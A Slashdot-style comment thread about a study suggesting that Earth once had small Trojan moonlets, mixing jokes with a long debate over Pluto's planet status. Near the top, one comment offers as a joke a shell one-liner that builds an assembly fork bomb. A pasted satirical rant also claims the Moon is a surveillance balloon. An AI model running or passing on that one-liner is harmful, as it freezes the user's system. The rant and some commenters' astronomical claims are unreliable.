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Earth May Once Have Had Multiple Moons
fyc writes "A new study from NASA's Ames Research Center has suggested that the collision of Earth and a Mars-sized object that created the Moon may also have resulted in the creation of tiny moonlets on Earth's Lagrangian points. 'Once captured, the Trojan satellites likely remained in their orbits for up to 100 million years, Lissauer and co-author John Chambers of the Carnegie Institution of Washington say. Then, gravitational tugs from the planets would have triggered changes in the Earth's orbit, ultimately causing the moons to become unmoored and drift away or crash into the Moon or Earth.'" The longest-lasting of such Trojans could have persisted for a billion years. They would have been a few tens of kilometers in diameter and would have appeared in the sky like bright stars.
In Star Wars when Luke looks up at the sky and sees several moons I always wondered.
But this is scientific proof that the Gospels according to George Lucas are the truth.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
there. stupid joke out of the way.
continue.
... was one of those old moonlets paying its last visit to earth. If it had left a Langraigian point it could still have orbited very near earth for a long long time until one small nudge put it on the trajectory for that fateful day.
Doesn't sound too far fetched since Earth has Cruithne sharing it's orbit, which in it's own way is a "second moon". On a functional level, not that different from what they are suggesting. I would even take it step futher, there's no reason to even believe any specific natural satellite of Earth originated from our planet or it's creation.
Burn Hollywood Burn
The real headline seems to be:
Post-collision debris from Lunar creation might have persisted a little bit longer than originally thought in these crazy gravitational slots, but no evidence is available to back up this theory, and it sure would be neat-o."
Yay.
FairTax baby!
Meanwhile a new study by me has suggested that reading Slashdot stops time and may also make you hyper-intelligent. Slashdotters would have bigger brains that could be farmed in the future to feed entire villages. Villagers would crack open the skulls with sharp metal straws which would be used to drink the brains out. A strong light then placed in the skull cavity would then shine in the night like bright stars.
before the man in the moon ate it all millions of years ago. The smell of cheese may have lingered for several centuries after that.
Although "Moonlets" is a cute, fuzzy term, I would have much preferred if they'd called them 'mooninites'
-- If you try to fail and succeed, which have you done? - Uli's moose
would have appeared in the sky like bright stars.
Appeared to whom?
Rome taught me patience and assiduous application to detail. Virtues which temper the boldness of great, general views.
I did a math project in university on lagrangian points and read what I could find on the net - as far as I remember, there is a similar theory that our moon was formed in one of the Earth's lagrangian points, and grew bigger with asteroid crashes (or something similar), until it grew so big that the lagrangian points couldn't hold it any more, and it flew into orbit with earth. Anyhow, this is purely speculation, but if you look closely enough into our universe, you might be able to find places where this is happening right now.
Let me see if I have this straight - Pluto is NOT a planet, because it falls beneath some arbitrary threshold for 'planet', but ANY object orbiting a planet is automagically a moon?
I have no problem with the theory, but if objects 'tens of kilometers' across are moons, then Pluto is surely a planet.
And don't call me Shirley.
is it that bad seein a hot chick again? if i see a hot chick walkin down the hall i dont say "repost"
The "Moon": A Ridiculous Liberal Myth 173 days ago
.. the next time you're out in the backyard exercising your Second Amendment rights, the liberals will see it! These satellites are sensitive enough to tell the difference between a Colt .45 and a .38 Special! And when they detect you with a firearm, their computers cross-reference the address to figure out your name, and then an enormous database housed at Berkeley is updated with information about you.
It amazes me that so many allegedly "educated" people have fallen so quickly and so hard for a fraudulent fabrication of such laughable proportions. The very idea that a gigantic ball of rock happens to orbit our planet, showing itself in neat, four-week cycles -- with the same side facing us all the time -- is ludicrous. Furthermore, it is an insult to common sense and a damnable affront to intellectual honesty and integrity. That people actually believe it is evidence that the liberals have wrested the last vestiges of control of our public school system from decent, God-fearing Americans (as if any further evidence was needed! Daddy's Roommate? God Almighty!)
Documentaries such as Enemy of the State have accurately portrayed the elaborate, byzantine network of surveillance satellites that the liberals have sent into space to spy on law-abiding Americans. Equipped with technology developed by Handgun Control, Inc., these satellites have the ability to detect firearms from hundreds of kilometers up. That's right, neighbors
Of course, this all works fine during the day, but what about at night? Even the liberals can't control the rotation of the Earth to prevent nightfall from setting in (only Joshua was able to ask for that particular favor!) That's where the "moon" comes in. Powered by nuclear reactors, the "moon" is nothing more than an enormous balloon, emitting trillions of candlepower of gun-revealing light. Piloted by key members of the liberal community, the "moon" is strategically moved across the country, pointing out those who dare to make use of their God-given rights at night!
Yes, I know this probably sounds paranoid and preposterous, but consider this. Despite what the revisionist historians tell you, there is no mention of the "moon" anywhere in literature or historical documents -- anywhere -- before 1950. That is when it was initially launched. When President Josef Kennedy, at the State of the Union address, proclaimed "We choose to go to the moon", he may as well have said "We choose to go to the weather balloon." The subsequent faking of a "moon" landing on national TV was the first step in a long history of the erosion of our constitutional rights by leftists in this country. No longer can we hide from our government when the sun goes down.
Dude, there are hundreds, if not thousands of Pluto sized planetoids. Pluto was discovered first of those objects, and mistakenly thought to be very unique.
Planets are the huge and few main satellites of the sun. It's a category defined entirely by scarcity. There are only 8. Not 8000. Pluto can't be a planet and the hundreds or thousands of larger objects not be, but the fact that there were thousands of similar objects wasn't discovered until after Pluto was added to the planet list. It's just an act of intellectual honesty to note that Pluto is only unique historically for being seen early. But now we know: It's not a major satellite sufficient to be in the planet category. You call this arbitrary, but it's as unarbitrary as anything could be.
What the hell does this have to do with how big a moon is? Any object orbiting a planet is automatically a satellite, any satellite that is naturally occurring is automatically a moon (by some definitions, anyway). Perhaps you should invest in a good dictionary. They are free on the internet.
Thank goodness we don't have to rely on your inane concepts of 'fairness' in celestial bodies for our language needs.
This "many moons" phenomenon was occasionally seen at my university quite some time in the past. The moons appeared as pale, bifurcated disks in the darkness around the president's residence, often after the end of final exams.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
So what you're trying to say is:
That's no moon!
The biggest difference is the mass ratio's between the satellite and it's parent (this goes for planets as well as moons).
If the mass of the satellites starts to approach the mass of the parent then the system will become unstable. The Moon is by far the largest satellite as a percentage of mass anywhere in the solar system. The Pluto-Charon system beats the Earth and Moon but Pluto was downgraded from a planet. For the earth-moon system, the center of mass for the system is still inside the earth. The Pluto-Charon system the center of mass is roughly 1/3 of the way to Charon. The only reason it is stable is because it is so far away.
If the moon was significantly larger (or there was an additional moon of significant size) they system would become unstable and tend to lose satellites until it WAS stable.
Jupiter's moons are so much lighter that Jupiter has an iron gravitational grip on them. Short of a major external disruption (say getting hit by another moon) all of Jupiter's moons are staying put.
if that were the case, there wouldn't be a k/t boundary layer would there?
"In the game of life, someone always has to lose. To me, if life were fair, that someone would always be Oklahoma." -DKR
Quite true. Any "moonlet" if it had been created by the Earth/Thea collision would have bee composed of roughly the same thing as Earth is. The highly increased iridium is a signature of an asteroid and not a terrestrial rock.
"People who think they know everything are very annoying to those of us who do."-Mark Twain
Cheddar, Gouda, Parmesan etc..
The swiss got to the other moons before NASA and mined them clean.
I stand by my theory.
They discovered Cruithne, orbiting the Earth in a weird 770 year orbit, back around 1999.
Let me see if I have this straight - Pluto is NOT a planet, because it falls beneath some arbitrary threshold for 'planet', but ANY object orbiting a planet is automagically a moon?
Apparentely so - the 63 Moons of Jupiter include the 1 km in diameter 2003 J 9.
I find it odd that people can't cope with there being hundreds of planets, and need some arbitrary distinction between "planet" and "natural satellite of the Sun", but 240 moons in the solar system is considered fine.
It's also strange that a body orbiting a dwarf planet is still considered a moon, and not a "dwarf moon"...
234) When traveling back in time to when the Earth had many moons, using the phrase "not in many moons" to describe the passage of time will only get you blank stares and instantly label you as an outsider (assuming you've managed to blend in with the local environment otherwise).
Well, its gotta feel good, doesn't it. You don't get people shooting up in the arm, doing armed robbery, prostituting themselves for a packet of lifesavers, do you?
I must've missed the part where we found HUNDREDS of objects the size of Pluto. Seems to me we've only found two or three so far.
A few more than that are known. Theoretically there are probably many more such objects, and very unlikely for there to be earth-sized objects.
There are more than eight planets. Pluto is a plant. Xena (or whatever official name they've assigned it) is a planet. Get over it.
No, Pluto is just a large Kuiper belt object, a glorified asteroid. You are the one who must get over it.
Or has science devolved to the point where we just change the definitions to give us the answers we want, rather than looking at the evidence and following it to where it leads?
You're the one who wants to include Pluto as a planet based on... what? History? Sense of style? Desire for there to be more planets? They changed the definition of planet to exclude Pluto based on the evidence of discovering that there was an entire belt of objects at that distance including other objects in Pluto's orbit, and it was not in fact unique or formed in the same way as the other planets. The only reason it was ever called a planet in the first place is because we didn't know about the Kuiper belt or all the other objects of similar size. In what bizarre universe is refusing to revisit old assumptions made out of ignorance "looking at the evidence"? That's stasis. Science is all about revising theories.
Why not call every asteroid in the asteroid belt and Kuiper belt planets? There'd be tons of planets then. There's several objects in the asteroid belt that are similar size to Pluto. I don't hear you calling them planets. But that's because the not-following-evidence accusation you level at science is the one you yourself are guilty of.
The enemies of Democracy are
The official deffinition of a planet is:
The IAU therefore resolves that planets and other bodies in our Solar System, except satellites, be defined into three distinct categories in the following way:
(1) A "planet" is a celestial body that: (a) is in orbit around the Sun, (b) has sufficient mass for its self-gravity to overcome rigid body forces so that it assumes a hydrostatic equilibrium (nearly round) shape, and (c) has cleared the neighbourhood around its orbit.
(2) A "dwarf planet" is a celestial body that: (a) is in orbit around the Sun, (b) has sufficient mass for its self-gravity to overcome rigid body forces so that it assumes a hydrostatic equilibrium (nearly round) shape2, (c) has not cleared the neighbourhood around its orbit, and (d) is not a satellite.
(3) All other objects3 except satellites orbiting the Sun shall be referred to collectively as "Small Solar System Bodies".
Footnotes:
1 The eight planets are: Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, and Neptune.
2 An IAU process will be established to assign borderline objects into either "dwarf planet" and other categories.
3 These currently include most of the Solar System asteroids, most Trans-Neptunian Objects (TNOs), comets, and other small bodies.
While a body of insufficient size will not "overcome rigids body forces" or have "cleared the neighbourhood around its orbit" the deffinition doesn't state that it must be at least 2000 km in diameter (which is arbitrary and was a running contender for the deffinition of planet). Infact you could have a very dense but small object (smaller than pluto) meet the deffinition of planet and a very defuse but large object (larger than the earth) NOT meet the deffinition. While size and mass are important, they are not what define a planet.
Since pluto hasn't cleared it's local neighborhood, it is not a planet. In addition, hundreds of pluto sized object HAVE been found in the oort cloud and Kupier Belt. However when a similar object was found orbiting inside Neuptune (Eris I beleive) it only accelerated the redeffinition of planet that was already underway.
This deffinition is actually pretty reasonable based on what types of objects dominate a solar system (excluding the sun) and how they are formed. If you look at the history of where this new deffinition came from you will find that the "devolved" scientists almost made an exception for Pluto but in the end decided to look(ing) at the evidence and following it to where it leads
I'll bite. What is the definition of "neighborhood" in this context?
Is Cruithne in Earth's "neighborhood"?
If not, what is closer to Pluto than Cruithne that it hasn't cleared?
Besides Charon?
If Charon isn't excluded, does this mean that any binary planet is, by definition, NOT a planet?
"I do not agree with what you say, but I will defend to the death your right to say it"
Pluto is not a plent because plaets are defined as soething which "dominates" the area in which it orbits. Pluto does not do this. It shares it's space with many, many "peers"
Mars is a planet because it is by a huge margin the biggest thing in that part of the solar system. The same can not be said of Pluto.
A "mmon" is simply any natural object capured in orbit around a planet.
Or has science devolved to the point where we just change the definitions to give us the answers we want, rather than looking at the evidence and following it to where it leads?
Actually, when it comes to terms like "planet", we've pretty much done just that. The original term "planeta" was from the Greek, and meant "wanderer". It was a term that referred to the celestial objects that "wandered" about the firmament, unlike the thousands of fixed stars that stayed in the same position. The list of planets included the sun and moon, but it didn't include the Earth, because from our viewpoint, the Earth doesn't wander about in the night sky.
Eventually people figured out that the Earth wasn't the center of everything, and made a revised heliocentric model. In that model, it was the sun that was stationary at the center, and the Earth became a planet that wandered about in an elliptical orbit. The moon got demoted to a different class at about the same time, because it appeared to orbit the Earth rather than the sun, putting it into a class with the four moons of Jupiter that people could see through telescopes. We went from Earth+planets+stars to sun+planets+moons+stars, and three bodies changed their classification.
So, yes, we did change the definition of "planet" back then to give us the answers we wanted. This was done because the prevailing definition of "planet" only worked for the Earth-centered model, and we'd decided to throw that model out. We didn't discard the term "planet"; we just gave it a new definition that fit the new model (and added "moon" as a classifier for a set that quickly picked up a lot of members).
In any case, there is a certain silliness to the seriousness of a debate over what is really a minor descriptive term that has little actual physical meaning. Thus, it has been pointed out that Titan is much more Earth-like than is Mercury, but Titan is called a moon rather than a planet. Earth's moon is more like Mercury than it is like Titan, including having an orbit about the sun that's nearly circular, leading some astronomers to propose calling the Earth/Luna system a "binary planet" rather than a planet and a moon. This isn't so much a serious suggestion, as it is pointing out the silliness of the argument and the irrelevancy of the terms in question.
Scientists do occasionally revise their definitions of technical terms to fit with the prevailing theories. Sometimes they make up new terms, of course. But sometimes it's easier to just tweak the definitions of the old terms.
Those who do study history are doomed to stand helplessly by while everyone else repeats it.